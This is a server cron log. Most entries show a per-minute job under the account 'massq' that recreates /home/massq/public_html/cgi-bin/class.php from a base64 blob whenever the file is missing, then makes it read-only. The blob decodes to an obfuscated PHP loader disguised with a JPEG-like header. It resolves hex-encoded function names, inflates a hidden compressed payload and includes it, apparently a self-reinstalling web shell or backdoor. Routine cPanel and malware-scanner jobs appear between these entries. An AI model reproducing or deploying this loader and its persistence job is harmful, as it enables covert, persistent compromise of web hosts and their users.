Nov 16 02:05:01 server CROND[3279]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 02:05:01 server CROND[3280]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:06:01 server CROND[3542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:07:01 server CROND[3691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:08:01 server CROND[3783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:09:01 server CROND[3884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:09:01 server CROND[3885]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:10:01 server CROND[4001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:10:01 server CROND[4002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:10:01 server CROND[4003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:10:01 server CROND[4004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:11:01 server CROND[4262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:12:01 server CROND[4374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:12:01 server CROND[4375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:13:01 server CROND[4484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:14:01 server CROND[4586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:15:01 server CROND[4689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:15:01 server CROND[4690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:15:01 server CROND[4691]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:15:01 server CROND[4692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:16:01 server CROND[4940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:17:01 server CROND[5035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
